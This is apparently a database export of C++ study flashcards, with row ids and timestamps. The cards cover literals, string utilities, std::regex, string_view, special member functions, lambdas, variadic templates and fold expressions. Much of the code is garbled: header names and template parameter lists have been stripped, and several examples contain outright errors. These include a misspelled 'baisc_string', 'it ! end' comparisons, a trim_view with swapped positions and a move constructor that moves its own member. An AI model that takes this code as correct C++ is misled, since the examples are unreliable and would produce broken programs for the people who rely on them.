dist{0, 10}; // [0, 10)\n int random_number = dist(generator);\n} code txt 2024-07-28 10:04:07.459982 0 +3151 747 T operator ""_suffix(unsigned long long int); // biggest integral type\nT operator ""_suffix(long double); // biggest floating-point type\nT operator ""_suffix(char);\nT operator ""_suffix(wchar_t);\nT operator ""_suffix(char16_t);\nT operator ""_suffix(char32_t);\nT operator ""_suffix(char const *, std::size_t);\nT operator ""_suffix(wchar_t const *, std::size_t);\nT operator ""_suffix(char16_t const *, std::size_t);\nT operator ""_suffix(char32_t const *, std::size_t); code txt 2024-07-28 10:04:07.899163 0 +3152 748 namespace units\n{\n inline namespace literals\n {\n inline namespace units_literals\n {\n constexpr size_t operator ""_KB(unsigned long long const size)\n {\n return static_cast(size * 1024);\n }\n }\n }\n} text txt 2024-07-28 10:04:08.518354 0 +3153 748 int main()\n{\n using namespace units::units_literals; text txt 2024-07-28 10:04:08.540001 0 +3154 748 size_t bytes = "1024"_KB;\n} code txt 2024-07-28 10:04:08.560889 0 +3155 749 #include text txt 2024-07-28 10:04:09.030199 0 +3156 749 using namespace std::string_literals; text txt 2024-07-28 10:04:09.050673 0 +3157 749 auto s1{ "text"s }; // std::string\nauto s2{ L"text"s }; // std::wstring\nauto s3{ u8"text"s }; // std::u8string\nauto s3{ u"text"s }; // std::u16string\nauto s4{ U"text"s }; // std::u32string text txt 2024-07-28 10:04:09.070908 0 +3158 749 using namespace std::string_view_literals; text txt 2024-07-28 10:04:09.091798 0 +3159 749 auto s5{ "text"sv }; // std::string_view code txt 2024-07-28 10:04:09.111708 0 +3160 750 #include text txt 2024-07-28 10:04:09.487584 0 +3161 750 using namespace std::chrono_literals; text txt 2024-07-28 10:04:09.507312 0 +3162 750 auto timer {2h + 42min + 15s}; // std::chrono::duration text txt 2024-07-28 10:04:09.52762 0 +3163 750 auto year { 2035y }; // std::chrono::year (c++20)\nauto day { 15d }; // std::chrono::day (c++20) code txt 2024-07-28 10:04:09.548668 0 +3164 751 #include text txt 2024-07-28 10:04:09.884549 0 +3165 751 using namespace std::complex_literals; text txt 2024-07-28 10:04:09.905816 0 +3166 751 auto c{ 12.0 + 4.2i }; // std::complex code txt 2024-07-28 10:04:09.925601 0 +3169 752 template \nT operator ""_suffix(); code txt 2024-07-28 10:04:10.283848 0 +3170 753 namespace binary\n{\n using numeric = unsigned int; text txt 2024-07-28 10:04:11.356927 0 +3171 753 inline namespace binary_literals\n {\n namespace binary_internals\n {\n template\n struct bit_seq; text txt 2024-07-28 10:04:11.377409 0 +3172 753 template\n struct bit_seq\n {\n static constexpr T value { bit_seq::value };\n }; text txt 2024-07-28 10:04:11.397894 0 +3173 753 template\n struct bit_seq\n {\n static constexpr T value {\n bit_seq::value | static_cast(1 << sizeof...(bits))\n };\n }; text txt 2024-07-28 10:04:11.41883 0 +3174 753 template\n struct bit_seq\n {\n static constexpr T value{0};\n };\n } text txt 2024-07-28 10:04:11.438817 0 +3175 753 template \n constexpr numeric operator ""_byte()\n {\n static_assert(sizeof...(bits) <= 32, "binary literals only holds 32 bits"); text txt 2024-07-28 10:04:11.459821 0 +3176 753 return binary_internals::bit_seq::value;\n }\n }\n} code txt 2024-07-28 10:04:11.479757 0 +3177 754 #include text txt 2024-07-28 10:04:11.802572 0 +3178 754 using namespace std::string_literals; text txt 2024-07-28 10:04:11.823749 0 +3179 754 auto filename { R"(C:\\\\Users\\\\Brian\\\\Documents\\\\)"s };\nauto pattern { R"((\\\\w[\\\\w\\\\d]*)=(\\\\d+))"s }; code txt 2024-07-28 10:04:11.844317 0 +3180 755 #include text txt 2024-07-28 10:04:12.331802 0 +3181 755 using namespace std::string_literals; text txt 2024-07-28 10:04:12.352085 0 +3182 755 auto s1{ R"(text)"s }; // std::string\nauto s2{ LR"(text)"s }; // std::wstring\nauto s3{ u8R"(text)"s }; // std::u8string\nauto s3{ uR"(text)"s }; // std::u16string\nauto s4{ UR"(text)"s }; // std::u32string text txt 2024-07-28 10:04:12.372746 0 +3183 755 using namespace std::string_view_literals; text txt 2024-07-28 10:04:12.392304 0 +3184 755 auto s5{ R"text"sv }; // std::string_view code txt 2024-07-28 10:04:12.41173 0 +3185 756 #include text txt 2024-07-28 10:04:13.291008 0 +3186 756 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 10:04:13.311428 0 +3187 756 template\ninline tstring to_upper(tstring text)\n{\n std::transform(std::begin(text), std::end(text), std::begin(text), toupper);\n return text;\n} text txt 2024-07-28 10:04:13.331817 0 +3188 756 template\ninline tstring to_upper(tstring&& text)\n{\n std::transform(std::begin(text), std::end(text), std::begin(text), toupper);\n return text;\n} text txt 2024-07-28 10:04:13.352204 0 +3189 756 template\ninline tstring to_lower(tstring text)\n{\n std::transform(std::begin(text), std::end(text), std::begin(text), tolower);\n return text;\n} text txt 2024-07-28 10:04:13.373529 0 +3190 756 template\ninline tstring to_lower(tstring&& text)\n{\n std::transform(std::begin(text), std::end(text), std::begin(text), tolower);\n return text;\n} code txt 2024-07-28 10:04:13.395817 0 +3191 757 #include text txt 2024-07-28 10:04:13.949469 0 +3192 757 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 10:04:13.97032 0 +3193 757 template\ninline tstring reverse(tstring text)\n{\n std::reverse(std::begin(text), std::end(text));\n return text;\n} text txt 2024-07-28 10:04:13.991507 0 +3194 757 template\ninline tstring reverse(tstring&& text)\n{\n std::reverse(std::begin(text), std::end(text));\n return text;\n} code txt 2024-07-28 10:04:14.013124 0 +3195 758 #include \n#include text txt 2024-07-28 10:04:14.507868 0 +3196 758 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 10:04:14.528919 0 +3197 758 template\ninline tstring trim(tstring const& text)\n{\n tstring::size first{text.find_first_not_of(' ')};\n tstring::size last{text.find_last_not_of(' ')};\n return text.substr(first, (last - first + 1));\n} code txt 2024-07-28 10:04:14.550955 0 +3198 759 #include \n#include text txt 2024-07-28 10:04:15.036672 0 +3199 759 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 10:04:15.058923 0 +3200 759 template\ninline tstring remove(tstring text, CharT const character)\n{\n auto last = std::remove_if(std::begin(text), std::end(text), [character](CharT const c) { return c == character; });\n text.erase(last, std::end(text));\n return text;\n} code txt 2024-07-28 10:04:15.081167 0 +3201 760 #include \n#include \n#include text txt 2024-07-28 10:04:15.827312 0 +3202 760 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 10:04:15.847027 0 +3203 760 template\nusing tstringstream = std::basic_stringstream, std::allocator>; text txt 2024-07-28 10:04:15.867566 0 +3204 760 template\ninline std::vector> split(tstring text, CharT const delimiter)\n{\n auto sstream = tstringstream{text};\n auto tokens = std::vector>{};\n auto token = tstring{}; text txt 2024-07-28 10:04:15.890275 0 +3205 760 while (std::getline(sstream, token, delimiter))\n {\n if (!token.empty())\n tokens.push_back(token);\n } text txt 2024-07-28 10:04:15.912134 0 +3206 760 return tokens;\n} code txt 2024-07-28 10:04:15.933329 0 +3207 761 #include \n#include text txt 2024-07-28 10:04:16.351691 0 +3208 761 using namespace std::string_literals; text txt 2024-07-28 10:04:16.372187 0 +3209 761 std::string pattern{R"(...)"}; text txt 2024-07-28 10:04:16.392526 0 +3210 761 std::regex srx{pattern};\nstd::regex lrx{R"(...)"s}; code txt 2024-07-28 10:04:16.413765 0 +3211 762 std::regex irx{R"(...)"s, std::regex_constants::icase}; code txt 2024-07-28 10:04:16.668342 0 +3212 763 #include \n#include text txt 2024-07-28 10:04:17.408864 0 +3213 763 template\nusing tstring = std::baisc_string, std::allocator>; text txt 2024-07-28 10:04:17.430655 0 +3214 763 template\nusing tregex = std::basic_regex; text txt 2024-07-28 10:04:17.451213 0 +3215 763 template\nbool matches(tstring const& text, tstring rx{pattern, std::regex_constants::icase};\n return std::regex_match(text, rx);\n} text txt 2024-07-28 10:04:17.471411 0 +3216 763 int main()\n{\n std::string text{R"(https://github.com - https://github.com/briansalehi/references)"};\n std::string pattern{R"((\\\\w+)://([\\\\w.]+)/([\\\\w\\\\d._-]+)/([\\\\w\\\\d._-]+)[.git]?)"}; text txt 2024-07-28 10:04:17.492762 0 +3217 763 if(matches(text, pattern))\n std::cout << text << '\\\\n';\n else\n std::cerr << "invalid repository link!\\\\n";\n} code txt 2024-07-28 10:04:17.513233 0 +3218 764 The `std::regex_match()` method has overloads that take a reference to a `std::match_results` object to store the result of the match. text txt 2024-07-28 10:04:18.396868 0 +3219 764 If there is no match, then `std::match_results` is empty and its size is 0. Otherwise, its size is 1, plus the number of matched subexpressions. text txt 2024-07-28 10:04:18.418189 0 +3220 764 The class template `std::sub_match` represents a sequence of characters that matches a capture group; this class is actually derived from std::pair, and its first and second members represent iterators to the first and the one- past-end characters in the match sequence. If there is no match sequence, the two iterators are equal: text txt 2024-07-28 10:04:18.439055 0 +3221 764 * `typedef sub_match csub_match;`\n* `typedef sub_match wcsub_match;`\n* `typedef sub_match ssub_match;`\n* `typedef sub_match wssub_match;` text txt 2024-07-28 10:04:18.459542 0 +3222 764 The class template `std::match_results` is a collection of matches; the first element is always a full match in the target, while the other elements are matches of subexpressions: text txt 2024-07-28 10:04:18.480756 0 +3223 764 * `typedef match_results cmatch;`\n* `typedef match_results wcmatch;`\n* `typedef match_results smatch;`\n* `typedef match_results wsmatch;` text txt 2024-07-28 10:04:18.502105 0 +3224 764 #include \n#include text txt 2024-07-28 10:04:18.523812 0 +3225 764 int main()\n{\n std::string text{R"(https://github.com - https://github.com/briansalehi/references)"};\n std::string pattern{R"((\\\\w+)://([\\\\w.]+)/([\\\\w\\\\d._-]+)/([\\\\w\\\\d._-]+)[.git]?)"}; text txt 2024-07-28 10:04:18.545575 0 +3226 764 std::regex rx{pattern, std::regex_constants::icase};\n std::smatch matches;\n bool matched = std::regex_match(text, matches, rx); text txt 2024-07-28 10:04:18.565648 0 +3227 764 if (auto [match, protocol, domain, username, project] = matches; matched)\n std::cout << project << " owned by " << username\n << " hosted on " << domain\n << " using " << protocol << " protocol\\\\n"; code txt 2024-07-28 10:04:18.585857 0 +3228 765 The C++ standard library supports six regular expression engines: text txt 2024-07-28 10:04:19.050398 0 +3229 765 * ECMAScript (default)\n* basic POSIX\n* extended POSIX\n* awk\n* grep\n* egrep (grep with the option -E) text txt 2024-07-28 10:04:19.073291 0 +3230 765 #include text txt 2024-07-28 10:04:19.094529 0 +3231 765 std::regex pattern{R"(...)", std::regex_constants::egrep}; code txt 2024-07-28 10:04:19.113943 0 +3232 766 #include \n#include text txt 2024-07-28 10:04:19.86327 0 +3233 766 std::string text {\nR"(\n# server address\naddress = 123.40.94.215\nport=22 text txt 2024-07-28 10:04:19.88503 0 +3234 766 # time to live\nttl = 5\n)"}; text txt 2024-07-28 10:04:19.906288 0 +3235 766 int main()\n{\n std::string pattern{R"(^(?!#)(\\\\w+)\\\\s*=\\\\s*([\\\\w\\\\d]+[\\\\w\\\\d._,:-]*)$)"};\n std::regex rx{pattern, std::regex_constants::icase};\n std::smatch match{}; text txt 2024-07-28 10:04:19.927348 0 +3236 766 if (std::string variable, value; std::regex_search(text, match, rx))\n {\n variable = match[1];\n value = match[2];\n }\n} code txt 2024-07-28 10:04:19.948681 0 +3237 767 The iterators available in the regular expressions standard library are as follows: text txt 2024-07-28 10:04:21.174431 0 +3238 767 * `std::regex_interator`: A constant forward iterator used to iterate through the occurrences of a pattern in a string. It has a pointer to an `std::basic_regex` that must live until the iterator is destroyed. Upon creation and when incremented, the iterator calls `std::regex_search()` and stores a copy of the `std::match_results` object returned by the algorithm.\n* `std::regex_token_iterator`: A constant forward iterator used to iterate through the submatches of every match of a regular expression in a string. Internally, it uses a `std::regex_iterator` to step through the submatches. Since it stores a pointer to an `std::basic_regex` instance, the regular expression object must live until the iterator is destroyed. text txt 2024-07-28 10:04:21.198468 0 +3239 767 The token iterators can return the unmatched parts of the string if the index of the subexpressions is -1, in which case it returns an `std::match_results` object that corresponds to the sequence of characters between the last match and the end of the sequence: text txt 2024-07-28 10:04:21.219655 0 +3240 767 #include \n#include text txt 2024-07-28 10:04:21.240654 0 +3241 767 std::string text {\nR"(\n# server address\naddress = 123.40.94.215\nport=22 text txt 2024-07-28 10:04:21.26183 0 +3242 767 # time to live\nttl = 5\n)"}; text txt 2024-07-28 10:04:21.282035 0 +3243 767 int main()\n{\n std::string pattern{R"(^(?!#)(\\\\w+)\\\\s*=\\\\s*([\\\\w\\\\d]+[\\\\w\\\\d._,:-]*)$)"};\n std::regex rx{pattern, std::regex_constants::icase};\n std::sregex_iterator end{}; text txt 2024-07-28 10:04:21.301939 0 +3244 767 // iterate through regex matches\n for (auto it = std::sregex_iterator{std::begin(text), std::end(text), rx};\n it ! end; ++it)\n {\n std::string variable = (*it)[1];\n std::string value = (*it)[2];\n } text txt 2024-07-28 10:04:21.323358 0 +3245 767 // iterate through unmatched tokens\n for (auto it = std::sregex_iterator{std::begin(text), std::end(text), rx, -1};\n it ! end; ++it)\n {\n std::string variable = (*it)[1];\n std::string value = (*it)[2];\n } text txt 2024-07-28 10:04:21.3442 0 +3246 767 // iterate through tokens of regex matches\n std::sregex_token_iterator tend{};\n for (auto it = std::sregex_token_iterator{std::begin(text), std::end(text), rx};\n it ! tend; ++it)\n {\n std::string token = *it;\n }\n} code txt 2024-07-28 10:04:21.366061 0 +3247 768 #include \n#include text txt 2024-07-28 10:04:21.777536 0 +3248 768 int main()\n{\n std::string text{"this is a example with a error"};\n std::regex rx{R"(\\\\ba ((a|e|i|o|u)\\\\w+))"};\n std::regex_replace(text, rx, "an $1");\n} code txt 2024-07-28 10:04:21.79812 0 +3249 769 Apart from the identifiers of the subexpressions (`$1`, `$2`, and so on), there are other identifiers for the entire match (`$&`), the part of the string before the first match ($\\\\`), and the part of the string after the last match (`$'`). text txt 2024-07-28 10:04:22.258594 0 +3250 769 #include \n#include text txt 2024-07-28 10:04:22.279886 0 +3251 769 int main()\n{\n std::string text{"current date: 3 10 2022"};\n std::regex pattern{R"((\\\\d{1,2})\\\\s*(\\\\d{1,2})\\\\s*(\\\\d{2,4}))"};\n std::string reformatted = std::regex_replace(text, pattern, R"([$`] $2 $1 $3 [$'])");\n} code txt 2024-07-28 10:04:22.30083 0 +3252 770 Passing `std::basic_string_view` to functions and returning `std::basic_string_view` still creates temporaries of this type, but these are small-sized objects on the stack (a pointer and a size could be 16 bytes for 64-bit platforms); therefore, they should incur fewer performance costs than allocating heap space and copying data. text txt 2024-07-28 10:04:22.987776 0 +3253 770 #include text txt 2024-07-28 10:04:23.008289 0 +3254 770 std::string_view trim_view(std::string_view str)\n{\n auto const pos1{ str.find_last_not_of(" ") };\n auto const pos2{ str.find_first_not_of(" ") };\n str.remove_suffix(str.length() - pos2 - 1);\n str.remove_prefix(pos1);\n return str;\n} text txt 2024-07-28 10:04:23.029896 0 +3970 982 docker buildx code txt 2024-07-28 10:06:18.15887 0 +3255 770 auto sv1{ trim_view("sample") };\nauto sv2{ trim_view(" sample") };\nauto sv3{ trim_view("sample ") };\nauto sv4{ trim_view(" sample ") }; text txt 2024-07-28 10:04:23.052827 0 +3256 770 std::string s1{ sv1 };\nstd::string s2{ sv2 };\nstd::string s3{ sv3 };\nstd::string s4{ sv4 }; code txt 2024-07-28 10:04:23.073865 0 +3257 771 #include text txt 2024-07-28 10:04:23.37657 0 +3258 771 std::string_view message{" something to show "}; text txt 2024-07-28 10:04:23.396176 0 +3259 771 std::size_t suffix{ str.find_last_not_of(" ") };\nstd::size_t prefix{ str.find_first_not_of(" ") }; code txt 2024-07-28 10:04:23.416267 0 +3260 772 #include text txt 2024-07-28 10:04:23.787355 0 +3261 772 std::string_view message{" something to show "}; text txt 2024-07-28 10:04:23.807876 0 +3262 772 std::size_t suffix{ str.find_last_not_of(" ") };\nstd::size_t prefix{ str.find_first_not_of(" ") }; text txt 2024-07-28 10:04:23.828849 0 +3263 772 str.remove_suffix(str.length() - pos2 - 1);\nstr.remove_prefix(pos1); code txt 2024-07-28 10:04:23.850465 0 +3264 773 Converting from an `std::basic_string_view` to an `std::basic_string` is not possible. You must explicitly construct an `std::basic_string` object from a `std::basic_string_view`. text txt 2024-07-28 10:04:24.166356 0 +3265 773 std::string_view sv{ "demo" };\nstd::string s{ sv }; code txt 2024-07-28 10:04:24.187377 0 +3266 774 Only class member functions can be `defaulted`. text txt 2024-07-28 10:04:24.557852 0 +3267 774 struct foo\n{\n foo() = default;\n}; code txt 2024-07-28 10:04:24.577236 0 +3268 775 Any function, including non-member functions can be deleted. text txt 2024-07-28 10:04:24.960922 0 +3269 775 struct foo\n{\n foo(foo const&) = delete;\n}; text txt 2024-07-28 10:04:24.98173 0 +3270 775 void func(int) = delete; code txt 2024-07-28 10:04:25.001615 0 +3271 776 * **user defined constructor** inhibits **default constructor**: If a user-defined constructor exists, the default constructor is not generated by default.\n* **virtual destructor** inhibits **default constructor**: If a user-defined virtual destructor exists, the default constructor is not generated by default.\n* **user defined move constructor/assignment** inhibits **default copy constructor/assignment**: If a user-defined move constructor or move assignment operator exists, then the copy constructor and copy assignment operator are not generated by default.\n* **user defined copy constructor/assignment, move constructor/assignment, destructor** inhibits **default move constructor/assignment**: If a user-defined copy constructor, move constructor, copy assignment operator, move assignment operator, or destructor exists, then the move constructor and move assignment operator are not generated by default.\n* If a user-defined copy constructor or destructor exists, then the copy assignment operator is generated by default. (deprecated)\n* If a user-defined copy assignment operator or destructor exists, then the copy constructor is generated by default. (deprecated) text txt 2024-07-28 10:04:25.302873 0 +3272 776 The rule of thumb, also known as The Rule of Five, for class special member functions is that if you explicitly define any copy constructor, move constructor, copy assignment operator, move assignment operator, or destructor, then you must either explicitly define or default all of them. text txt 2024-07-28 10:04:25.324329 0 +3273 777 Declare the copy constructor and the copy assignment operator as `deleted`. text txt 2024-07-28 10:04:25.720582 0 +3274 777 class non_copyable\n{\npublic:\n non_copyable() = default;\n non_copyable(non_copyable const&) = delete;\n non_copyable& operator =(non_copyable const&) = delete;\n}; code txt 2024-07-28 10:04:25.742351 0 +3275 778 Declare the copy operations as `deleted` and explicitly implement the move operations. text txt 2024-07-28 10:04:26.394532 0 +3276 778 template\nclass movable\n{\nprivate:\n ResourceT resource; text txt 2024-07-28 10:04:26.415812 0 +3277 778 public:\n movable(ResourceT const& resource): resource{resource} {} text txt 2024-07-28 10:04:26.436325 0 +3278 778 ~movable() { resource.free(); } text txt 2024-07-28 10:04:26.457428 0 +3279 778 movable(movable const&) = delete;\n movable& operator =(movable const&) = delete; text txt 2024-07-28 10:04:26.47862 0 +3280 778 movable(movable&& other): resource{std::move(resource)} {}\n movable& operator =(movable&& other) {\n if (this != std::addressof(other))\n resource = std::move(resource);\n return *this;\n }\n}; code txt 2024-07-28 10:04:26.499523 0 +3281 779 Functions can be declared =default outside the body of a class if and only if they are inlined. text txt 2024-07-28 10:04:26.94791 0 +3282 779 class base\n{\npublic:\n base() = default; text txt 2024-07-28 10:04:26.967975 0 +3283 779 inline base& operator =(base const&);\n}; text txt 2024-07-28 10:04:26.987973 0 +3284 779 inline base& base::operator =(base const&) = default; code txt 2024-07-28 10:04:27.00801 0 +3285 780 #include \n#include text txt 2024-07-28 10:04:27.463938 0 +3286 780 int main()\n{\n std::vector numbers{12,3,84,93,7,40,35,5,74,8,22};\n int minimum = 0;\n int maximum = 9; text txt 2024-07-28 10:04:27.484529 0 +3287 780 int single_digits = std::count_if(\n std::begin(numbers), std::end(numbers), [minimum, maximum](int const n)\n { return minimum <= n && n <= maximum; });\n} code txt 2024-07-28 10:04:27.507094 0 +3288 781 #include \n#include text txt 2024-07-28 10:04:27.889497 0 +3289 781 int main()\n{\n std::vector numbers{-1,2,-4,8,3,-7,5};\n auto is_positive = [](int const n) { return n > 0; };\n int positives = std::count_if(std::begin(numbers), std::end(numbers), is_positive);\n} code txt 2024-07-28 10:04:27.911178 0 +3290 782 Though generic lambdas can be defined anonymously in the place where they are called, it does not really make sense because the very purpose of a generic lambda is to be reused. text txt 2024-07-28 10:04:28.424284 0 +3291 782 #include \n#include \n#include text txt 2024-07-28 10:04:28.446167 0 +3292 782 int main()\n{\n auto lsum = [](auto const n, ) { return n > 0; }; text txt 2024-07-28 10:04:28.467404 0 +3293 782 std::vector numbers{-1,2,-4,8,3,-7,5};\n std::string words{"stl", " is ", " cool"}; text txt 2024-07-28 10:04:28.488154 0 +3294 782 int sum = std::accumulate(std::begin(numbers), std::end(numbers), 0, lsum);\n std::string sentence = std::accumulate(std::begin(words), std::end(words), 0, lsum);\n} code txt 2024-07-28 10:04:28.508932 0 +3295 783 It must be well understood that the lambda expression is actually a class. In order to call it, the compiler needs to instantiate an object of the class. The object instantiated from a lambda expression is called a lambda closure. text txt 2024-07-28 10:04:29.025532 0 +3331 792 template // [1]\nconstexpr T add(T value) { return value; } text txt 2024-07-28 10:04:34.17646 0 +3332 792 template // [2]\nconstexpr auto add(T head, Ts ...rest) // [3]\n{\n std::cout << __PRETTY_FUNCTION__ << '\\\\n';\n return head + add(rest...); // [4]\n} text txt 2024-07-28 10:04:34.197305 0 +3333 792 int main()\n{\n int result = add(0,1,2,3,4,5,6,7,8,9);\n} code txt 2024-07-28 10:04:34.218573 0 +3334 793 template\nauto add(Ts ...args) { return (... + args); } text txt 2024-07-28 10:04:34.666262 0 +3335 793 template\nauto add(Ts ...args) { return ( 1 + ... + args); } text txt 2024-07-28 10:04:34.687745 0 +3296 783 * `[](){}`: does not capture.\n* `[&](){}`: capture everything by reference.\n* `[=](){}`: capture everything by copy, except `this`. (c++20)\n* `[&x](){}`: capture only `x` by reference.\n* `[x](){}`: capture only `x` by copy.\n* `[&x...](){}`: capture pack extension `x` by reference.\n* `[x...](){}`: capture pack extension `x` by copy.\n* `[&, x](){}`: capture everything by reference except for `x` that is captured by copy.\n* `[=, &x](){}`: capture everything by copy except for `x` that is captured by reference.\n* `[&, this](){}`: capture everything by reference except for pointer `this` that is always captured by copy.\n* `[x, x](){}`: **error**, `x` is captured twice.\n* `[&, &x](){}`: **error**, everything is captured by reference, `x` cannot be captured again.\n* `[=, =x](){}`: everything is captured by copy, `x` cannot be captured again.\n* `[&this](){}`: **error**, the pointer `this` is always captured by copy.\n* `[&, =](){}`: **error**, cannot capture everything both by copy and by reference.\n* `[x=expr](){}`: `x` is a data member of the lambda's closure initialized from the expression `expr` suited for move-semantics. (c++14)\n* `[&x=expr](){}`: `x` is a reference data member of the lambda's closure initialized from the expression `expr` suited for move-semantics. (c++14) text txt 2024-07-28 10:04:29.049012 0 +3297 784 * `capture-list` can be empty.\n* `parameters` can be empty.\n* `ret` value of the function can be obmitted.\n* `body` can be empty.\n* `mutable` specifier is optional and removes the `const`ness of function call operator in lambda closure and makes the lambda stateful.\n* `constexpr` specifier is optional and tells the compiler to generate a `constexpr` call operator.\n* `noexcept` specifier is optional and tells the compiler to generate a `nothrow` call operator.\n* `attributes` are optional. text txt 2024-07-28 10:04:29.46829 0 +3298 784 [capture-list](params) mutable constexpr exception attr -> ret { body; } code txt 2024-07-28 10:04:29.488215 0 +3299 785 #include text txt 2024-07-28 10:04:29.758236 0 +3300 785 std::make_unique ptr(42);\nauto lambda = [p = std::move(ptr)]() { return ++*p; }; code txt 2024-07-28 10:04:29.779543 0 +3301 786 The correct form of capturing `this` when the object is a temporary is `[*this]` so that object is copied by value. text txt 2024-07-28 10:04:30.362559 0 +3302 786 #include text txt 2024-07-28 10:04:30.38298 0 +3303 786 struct base\n{\n int id; text txt 2024-07-28 10:04:30.403746 0 +3304 786 void show()\n {\n return [*this] { std::cout << id << '\\\\n'; };\n }\n}; text txt 2024-07-28 10:04:30.4253 0 +3305 786 int main()\n{\n // base is destroyed at the time of show() execution\n auto lambda = base{42}.show();\n} code txt 2024-07-28 10:04:30.446432 0 +3306 787 #include text txt 2024-07-28 10:04:30.833674 0 +3307 787 int main()\n{\n std::vector numbers{0,1,2,3,4,5,6,7,8,9};\n auto vsize = [](std::vector const& v) { return std::size(v); };\n vsize(v); // 10\n vsize(42); // error\n} code txt 2024-07-28 10:04:30.854986 0 +3308 788 int main()\n{\n auto generic_sum = [](T&& x, T&& y) nothrow { return x + y; } text txt 2024-07-28 10:04:31.195086 0 +3309 788 int result = generic_sum(40, 2);\n} code txt 2024-07-28 10:04:31.215231 0 +3310 789 #include text txt 2024-07-28 10:04:32.0174 0 +3311 789 struct base\n{\n static void show() { std::cout << "base\\\\n"; }\n}; text txt 2024-07-28 10:04:32.03798 0 +3312 789 // pre-c++20\nauto tshow = [](auto x)\n{\n using T = std::decay_t; text txt 2024-07-28 10:04:32.059088 0 +3313 789 T other; // create instance\n T::show(); // call static method\n}; text txt 2024-07-28 10:04:32.080827 0 +3314 789 // post-c++20\nauto generic_show = [](T const& x)\n{\n T other; // create instance\n T::show(); // call static method\n}; text txt 2024-07-28 10:04:32.101543 0 +3315 789 int main()\n{\n base object; text txt 2024-07-28 10:04:32.123443 0 +3316 789 tshow(object);\n generic_show(object);\n} code txt 2024-07-28 10:04:32.143205 0 +3317 790 template\nvoid do_something(T&& ...args) { /* ... */ } text txt 2024-07-28 10:04:32.584228 0 +3318 790 auto forward_something = [](auto&& ...args)\n{\n return do_something(std::forward(args)...);\n}; text txt 2024-07-28 10:04:32.605251 0 +3319 790 auto generic_forward = [](T&& ...args)\n{\n return do_something(std::forward(args)...);\n}; code txt 2024-07-28 10:04:32.626467 0 +3320 791 In order to write a recursive lambda function, you must do the following: text txt 2024-07-28 10:04:33.253916 0 +3321 791 * Define the lambda in a function scope\n* Assign the lambda to an `std::function` wrapper\n* Capture the `std::function` object by reference in the lambda in order to call it recursively text txt 2024-07-28 10:04:33.275517 0 +3322 791 The lambda must have a name; an unnamed lambda cannot be captured so that it can be called again.\nA lambda can only capture variables from a function scope; it cannot capture any variable that has a static storage duration. Objects defined in a namespace scope or with the static or external specifiers have static storage duration. If the lambda was defined in a namespace scope, its closure would have static storage duration and therefore the lambda would not capture it.\nThe type of the lambda closure cannot remain unspecified; that is, it cannot be declared with the auto specifier. It is not possible for a variable declared with the auto type specifier to appear in its own initializer.\nThe lambda closure must be captured by reference. If we capture by copy (or value), then a copy of the function wrapper is made, but the wrapper is uninitialized when the capturing is done. We end up with an object that we are not able to call. Even though the compiler will not complain about capturing by value, when the closure is invoked, an `std::bad_function_call` is thrown. text txt 2024-07-28 10:04:33.299438 0 +3323 791 #include text txt 2024-07-28 10:04:33.319263 0 +3324 791 void sample()\n{\n std::function lfib = [&lfib](int const n)\n {\n return n <= 2 ? 1 : lfib(n - 1) + lfib(n - 2);\n }; text txt 2024-07-28 10:04:33.340135 0 +3325 791 auto f10 = lfib(10);\n} code txt 2024-07-28 10:04:33.360106 0 +3326 792 In order to write variadic function templates, you must perform the following steps: text txt 2024-07-28 10:04:34.072169 0 +3327 792 1. Define an overload with a fixed number of arguments to end compile-time recursion if the semantics of the variadic function template require it.\n2. Define a template parameter pack that is a template parameter that can hold any number of arguments, including zero; these arguments can be either types, non-types, or templates.\n3. Define a function parameter pack to hold any number of function arguments, including zero; the size of the template parameter pack and the corresponding function parameter pack is the same. This size can be determined with the sizeof... operator.\n4. Expand the parameter pack in order to replace it with the actual arguments being supplied. text txt 2024-07-28 10:04:34.095273 0 +3328 792 With GCC and Clang, you can use the `__PRETTY_FUNCTION__` macro to print the name and the signature of the function. text txt 2024-07-28 10:04:34.114399 0 +3329 792 Make return type `auto` to ensure all of the function template initializations have the same return type, for example, in case of having `std::string` and `char` types in parameter pack. text txt 2024-07-28 10:04:34.135056 0 +3330 792 #include text txt 2024-07-28 10:04:34.154447 0 +3488 833 import std; text txt 2024-07-28 10:04:59.17657 0 +3336 793 template\nauto add(Ts ...args) { return (args + ...); } text txt 2024-07-28 10:04:34.708751 0 +3337 793 template\nauto add(Ts ...args) { return (args + ... + 1); } code txt 2024-07-28 10:04:34.72864 0 +3338 794 Fold expressions work with all overloads for the supported **binary operators**, but do not work with **arbitrary binary operators**. It is possible to implement a workaround for that by providing a wrapper type that will hold a value and an overloaded operator for that wrapper type: text txt 2024-07-28 10:04:35.837425 0 +3339 794 template\nstruct less_pack\n{\n T const& value; text txt 2024-07-28 10:04:35.858064 0 +3340 794 friend constexpr auto operator <(less_pack const& lhs, less_pack const& rhs)\n {\n return less_pack{lhs.value < rhs.value ? lhs.value : rhs.value};\n }\n}; text txt 2024-07-28 10:04:35.879344 0 +3341 794 template\nconstexpr auto min_incorrect(Ts&& ...args)\n{\n return (args < ...);\n} text txt 2024-07-28 10:04:35.901087 0 +3342 794 template<>\ninline constexpr bool min_incorrect_compiler_generated(int, int, int>(\n int&& __args0,\n int&& __args1,\n int&& __args2)\n{\n return __args0 < (static_cast(__args1 < __args2));\n} text txt 2024-07-28 10:04:35.921922 0 +3343 794 template\nconstexpr auto min_correct(Ts&& ...args)\n{\n return (less_pack{args} < ...).value;\n} text txt 2024-07-28 10:04:35.942842 0 +3344 794 template <>\ninline constexpr int min_correct_compiler_generated(\n int&& __args0,\n int&& __args1,\n int&& __args2)\n{\n return operator <(less_pack{__args0},\n operator <(less_pack{__args1},\n less_pack{__args2})).value;\n} code txt 2024-07-28 10:04:35.96303 0 +3345 795 A higher-order function is a function that takes one or more other functions as arguments and applies them to a range (a list, vector, map, tree, and so on), thus producing either a new range or a value. text txt 2024-07-28 10:04:37.021637 0 +3346 795 To implement the map function, you should: text txt 2024-07-28 10:04:37.043771 0 +3347 795 * Use `std::transform` on containers that support iterating and assignment to the elements, such as `std::vector` or `std::list`.\n* Use other means such as explicit iteration and insertion for containers that do not support assignment to the elements, such as `std::map`. text txt 2024-07-28 10:04:37.064896 0 +3348 795 #include \n#include \n#include \n#include text txt 2024-07-28 10:04:37.086931 0 +3349 795 template\nR mapping(F&& callable, R const& range)\n{\n std::transform(std::begin(range), std::end(range), 